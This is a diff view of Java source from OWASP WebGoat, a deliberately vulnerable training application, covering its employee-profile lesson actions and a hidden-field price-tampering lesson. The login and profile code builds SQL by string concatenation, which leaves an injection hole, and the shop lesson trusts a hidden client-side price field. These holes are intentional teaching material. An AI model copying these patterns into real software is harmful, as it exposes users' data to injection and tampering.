* After this.handleRequest() is called, when the View asks for the current JSP to load, it will * After this.handleRequest() is called, when the View asks for the current JSP to load, it will
* get one initialized by this call. * get one initialized by this call.
*/ */
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String nextPage = GoatHillsFinancial.LOGIN_ACTION; String nextPage = GoatHillsFinancial.LOGIN_ACTION;
if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s); if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
return nextPage; return nextPage;
} }
public boolean requiresAuthentication() public boolean requiresAuthentication()
{ {
return false; return false;
} }
public boolean login(WebSession s, int userId, String password) public boolean login(WebSession s, int userId, String password)
{ {
// System.out.println("Logging in to lesson"); // System.out.println("Logging in to lesson");
boolean authenticated = false; boolean authenticated = false;
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'"; String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first()) if (answer_results.first())
{ {
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID, Integer.toString(userId)); setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID, Integer.toString(userId));
authenticated = true; authenticated = true;
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error logging in"); s.setMessage("Error logging in");
e.printStackTrace(); e.printStackTrace();
} }
// System.out.println("Lesson login result: " + authenticated); // System.out.println("Lesson login result: " + authenticated);
return authenticated; return authenticated;
} }
public List<EmployeeStub> getAllEmployees(WebSession s) public List<EmployeeStub> getAllEmployees(WebSession s)
{ {
List<EmployeeStub> employees = new Vector<EmployeeStub>(); List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to // Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles // Query the database for all employees "owned" by these roles
try try
{ {
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles " String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid"; + "where employee.userid=roles.userid";
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst(); answer_results.beforeFirst();
while (answer_results.next()) while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name"); String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name"); String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role"); String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role); EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub); employees.add(stub);
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employees"); s.setMessage("Error getting employees");
e.printStackTrace(); e.printStackTrace();
} }
return employees; return employees;
} }
} }

View File

@ -38,39 +38,39 @@ import org.owasp.webgoat.session.WebSession;
public class Logout extends DefaultLessonAction public class Logout extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public Logout(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
{ {
// System.out.println("Logging out"); // System.out.println("Logging out");
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
// FIXME: Maybe we should forward to Login. // FIXME: Maybe we should forward to Login.
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return chainedAction.getNextPage(s); return chainedAction.getNextPage(s);
} }
} }

View File

@ -34,14 +34,14 @@ import org.owasp.webgoat.session.WebSession;
public class SearchStaff extends DefaultLessonAction public class SearchStaff extends DefaultLessonAction
{ {
public SearchStaff(GoatHillsFinancial lesson, String lessonName, String actionName) public SearchStaff(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return GoatHillsFinancial.SEARCHSTAFF_ACTION; return GoatHillsFinancial.SEARCHSTAFF_ACTION;
} }
} }

View File

@ -43,170 +43,170 @@ import org.owasp.webgoat.session.WebSession;
public class UpdateProfile extends DefaultLessonAction public class UpdateProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
int subjectId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID, 0); int subjectId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID, 0);
String firstName = s.getParser().getStringParameter(GoatHillsFinancial.FIRST_NAME); String firstName = s.getParser().getStringParameter(GoatHillsFinancial.FIRST_NAME);
String lastName = s.getParser().getStringParameter(GoatHillsFinancial.LAST_NAME); String lastName = s.getParser().getStringParameter(GoatHillsFinancial.LAST_NAME);
String ssn = s.getParser().getStringParameter(GoatHillsFinancial.SSN); String ssn = s.getParser().getStringParameter(GoatHillsFinancial.SSN);
String title = s.getParser().getStringParameter(GoatHillsFinancial.TITLE); String title = s.getParser().getStringParameter(GoatHillsFinancial.TITLE);
String phone = s.getParser().getStringParameter(GoatHillsFinancial.PHONE_NUMBER); String phone = s.getParser().getStringParameter(GoatHillsFinancial.PHONE_NUMBER);
String address1 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS1); String address1 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS1);
String address2 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS2); String address2 = s.getParser().getStringParameter(GoatHillsFinancial.ADDRESS2);
int manager = s.getParser().getIntParameter(GoatHillsFinancial.MANAGER); int manager = s.getParser().getIntParameter(GoatHillsFinancial.MANAGER);
String startDate = s.getParser().getStringParameter(GoatHillsFinancial.START_DATE); String startDate = s.getParser().getStringParameter(GoatHillsFinancial.START_DATE);
int salary = s.getParser().getIntParameter(GoatHillsFinancial.SALARY); int salary = s.getParser().getIntParameter(GoatHillsFinancial.SALARY);
String ccn = s.getParser().getStringParameter(GoatHillsFinancial.CCN); String ccn = s.getParser().getStringParameter(GoatHillsFinancial.CCN);
int ccnLimit = s.getParser().getIntParameter(GoatHillsFinancial.CCN_LIMIT); int ccnLimit = s.getParser().getIntParameter(GoatHillsFinancial.CCN_LIMIT);
String disciplinaryActionDate = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_DATE); String disciplinaryActionDate = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_DATE);
String disciplinaryActionNotes = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_NOTES); String disciplinaryActionNotes = s.getParser().getStringParameter(GoatHillsFinancial.DISCIPLINARY_NOTES);
String personalDescription = s.getParser().getStringParameter(GoatHillsFinancial.DESCRIPTION); String personalDescription = s.getParser().getStringParameter(GoatHillsFinancial.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
if (subjectId > 0) if (subjectId > 0)
{ {
this.changeEmployeeProfile(s, userId, subjectId, employee); this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer
.toString(subjectId)); .toString(subjectId));
} }
else else
this.createEmployeeProfile(s, userId, employee); this.createEmployeeProfile(s, userId, employee);
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return GoatHillsFinancial.VIEWPROFILE_ACTION; return GoatHillsFinancial.VIEWPROFILE_ACTION;
} }
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException throws UnauthorizedException
{ {
try try
{ {
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.execute(); ps.execute();
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
private int getNextUID(WebSession s) private int getNextUID(WebSession s)
{ {
int uid = -1; int uid = -1;
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery("select max(userid) as uid from employee"); ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first(); results.first();
uid = results.getInt("uid"); uid = results.getInt("uid");
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
} }
return uid + 1; return uid + 1;
} }
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{ {
try try
{ {
int nextId = getNextUID(s); int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase()); ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate()); ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes()); ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error updating employee profile"); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
} }

View File

@ -41,84 +41,84 @@ import org.owasp.webgoat.session.WebSession;
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName) public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID);
int employeeId = -1; int employeeId = -1;
try try
{ {
// User selected employee // User selected employee
employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
} catch (ParameterNotFoundException e) } catch (ParameterNotFoundException e)
{ {
// May be an internally selected employee // May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); employeeId = getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID);
} }
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return GoatHillsFinancial.VIEWPROFILE_ACTION; return GoatHillsFinancial.VIEWPROFILE_ACTION;
} }
protected Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException protected Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId; String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try try
{ {
Statement answer_statement = WebSession.getConnection(s) Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query); ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
} }

View File

@ -58,174 +58,174 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class HiddenFieldTampering extends LessonAdapter public class HiddenFieldTampering extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
private final static String PRICE = "Price"; private final static String PRICE = "Price";
private final static String PRICE_TV = "2999.99"; private final static String PRICE_TV = "2999.99";
private final static String PRICE_TV_HACKED = "9.99"; private final static String PRICE_TV_HACKED = "9.99";
String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any String regex = "^" + PRICE_TV + "$"; // obviously the "." will match any char - any
// interesting exploit! // interesting exploit!
Pattern pattern1 = Pattern.compile(regex); Pattern pattern1 = Pattern.compile(regex);
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep String script = "<SCRIPT>" + lineSep + "regex=/" + regex + "/;" + "function validate() { " + lineSep
+ "if (!regex.test(document.form." + PRICE + ".value)) {alert('Data tampering is disallowed'); " + "if (!regex.test(document.form." + PRICE + ".value)) {alert('Data tampering is disallowed'); "
+ " document.form." + PRICE + ".value = " + PRICE_TV + ";}" + lineSep + "else document.form.submit();" + " document.form." + PRICE + ".value = " + PRICE_TV + ";}" + lineSep + "else document.form.submit();"
+ lineSep + "} " + lineSep + "</SCRIPT>" + lineSep; + lineSep + "} " + lineSep + "</SCRIPT>" + lineSep;
/** /**
* Constructor for the HiddenFieldScreen object * Constructor for the HiddenFieldScreen object
*/ */
public HiddenFieldTampering() public HiddenFieldTampering()
{ {
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
float quantity; float quantity;
float total; float total;
String price = PRICE_TV; String price = PRICE_TV;
DecimalFormat money = new DecimalFormat("$0.00"); DecimalFormat money = new DecimalFormat("$0.00");
try try
{ {
price = s.getParser().getRawParameter(PRICE, PRICE_TV); price = s.getParser().getRawParameter(PRICE, PRICE_TV);
quantity = s.getParser().getFloatParameter("QTY", 1.0f); quantity = s.getParser().getFloatParameter("QTY", 1.0f);
total = quantity * Float.parseFloat(price); total = quantity * Float.parseFloat(price);
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage(WebGoatI18N.get("Invaild data") + this.getClass().getName()); s.setMessage(WebGoatI18N.get("Invaild data") + this.getClass().getName());
price = PRICE_TV; price = PRICE_TV;
quantity = 1.0f; quantity = 1.0f;
total = quantity * Float.parseFloat(PRICE_TV); total = quantity * Float.parseFloat(PRICE_TV);
} }
if (price.equals(PRICE_TV)) if (price.equals(PRICE_TV))
{ {
ec.addElement(new Center().addElement(new H1().addElement(WebGoatI18N.get("ShoppingCart")))); ec.addElement(new Center().addElement(new H1().addElement(WebGoatI18N.get("ShoppingCart"))));
ec.addElement(new BR()); ec.addElement(new BR());
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH().addElement(WebGoatI18N.get("ShoppingCartItems")).setWidth("80%")); tr.addElement(new TH().addElement(WebGoatI18N.get("ShoppingCartItems")).setWidth("80%"));
tr.addElement(new TH().addElement(WebGoatI18N.get("Price")).setWidth("10%")); tr.addElement(new TH().addElement(WebGoatI18N.get("Price")).setWidth("10%"));
tr.addElement(new TH().addElement(WebGoatI18N.get("Quantity")).setWidth("3%")); tr.addElement(new TH().addElement(WebGoatI18N.get("Quantity")).setWidth("3%"));
tr.addElement(new TH().addElement(WebGoatI18N.get("Total")).setWidth("7%")); tr.addElement(new TH().addElement(WebGoatI18N.get("Total")).setWidth("7%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("56 inch HDTV (model KTV-551)")); tr.addElement(new TD().addElement("56 inch HDTV (model KTV-551)"));
tr.addElement(new TD().addElement(PRICE_TV).setAlign("right")); tr.addElement(new TD().addElement(PRICE_TV).setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY", 1).setSize(6)).setAlign("right")); tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY", 1).setSize(6)).setAlign("right"));
tr.addElement(new TD().addElement(money.format(total))); tr.addElement(new TD().addElement(money.format(total)));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
ec.addElement(new BR()); ec.addElement(new BR());
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement(WebGoatI18N.get("TotalChargedCreditCard")+":")); tr.addElement(new TD().addElement(WebGoatI18N.get("TotalChargedCreditCard")+":"));
tr.addElement(new TD().addElement(money.format(total))); tr.addElement(new TD().addElement(money.format(total)));
tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("UpdateCart")))); tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("UpdateCart"))));
tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("Purchase"), "validate()"))); tr.addElement(new TD().addElement(ECSFactory.makeButton(WebGoatI18N.get("Purchase"), "validate()")));
t.addElement(tr); t.addElement(tr);
ec.addElement(t); ec.addElement(t);
Input input = new Input(Input.HIDDEN, PRICE, PRICE_TV); Input input = new Input(Input.HIDDEN, PRICE, PRICE_TV);
ec.addElement(input); ec.addElement(input);
ec.addElement(new BR()); ec.addElement(new BR());
} }
else else
{ {
if (!price.toString().equals(PRICE_TV)) if (!price.toString().equals(PRICE_TV))
{ {
makeSuccess(s); makeSuccess(s);
} }
ec.addElement(new P().addElement(WebGoatI18N.get("TotalPriceIs")+":")); ec.addElement(new P().addElement(WebGoatI18N.get("TotalPriceIs")+":"));
ec.addElement(new B("$" + total)); ec.addElement(new B("$" + total));
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new P().addElement(WebGoatI18N.get("ThisAmountCharged"))); ec.addElement(new P().addElement(WebGoatI18N.get("ThisAmountCharged")));
} }
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.PARAMETER_TAMPERING; return Category.PARAMETER_TAMPERING;
} }
/** /**
* Gets the hints attribute of the HiddenFieldScreen object * Gets the hints attribute of the HiddenFieldScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("HiddenFieldTamperingHint1")); hints.add(WebGoatI18N.get("HiddenFieldTamperingHint1"));
hints.add(WebGoatI18N.get("HiddenFieldTamperingHint2")); hints.add(WebGoatI18N.get("HiddenFieldTamperingHint2"));
hints.add(WebGoatI18N.get("HiddenFieldTamperingHint3")+ PRICE_TV +WebGoatI18N.get("HiddenFieldTamperingHint32") + PRICE_TV_HACKED ); hints.add(WebGoatI18N.get("HiddenFieldTamperingHint3")+ PRICE_TV +WebGoatI18N.get("HiddenFieldTamperingHint32") + PRICE_TV_HACKED );
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(50); private final static Integer DEFAULT_RANKING = new Integer(50);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HiddenFieldScreen object * Gets the title attribute of the HiddenFieldScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Exploit Hidden Fields"); return ("Exploit Hidden Fields");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -39,51 +39,51 @@ import org.owasp.webgoat.session.WebSession;
*/ */
